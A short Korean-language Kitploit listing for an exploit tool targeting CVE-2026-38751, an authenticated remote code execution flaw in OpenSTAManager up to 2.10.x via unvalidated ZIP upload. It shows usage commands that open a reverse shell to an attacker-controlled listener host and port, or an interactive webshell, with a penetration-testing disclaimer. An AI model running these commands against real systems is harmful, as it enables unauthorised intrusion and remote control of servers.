CVE-2026-38751 — 인증되지 않은 ZIP 업로드를 통한 OpenSTAManager 원격 코드 실행 취약점을 악용하는 인증 기반 익스플로잇으로, 승인된 침투 테스트를 위한 리버스 셸 및 대화형 웹셸 기능을 제공합니다. | Kitploit

CVE-2026-38751 — OpenSTAManager Module Upload RCE

모듈 업데이트 엔드포인트에서 검증되지 않은 ZIP 업로드를 통한 인증된 RCE.

영향받는 버전: OpenSTAManager <= 2.10.x

요구 사항

pip install requests

사용법

# Reverse shell (Penelope or any listener)
python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444

# Interactive webshell
python3 exploit.py -u http://TARGET -U admin -P admin --interactive

참고 자료

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

면책 조항

공인된 침투 테스트 및 교육 목적으로만 사용하십시오.

도구 다운로드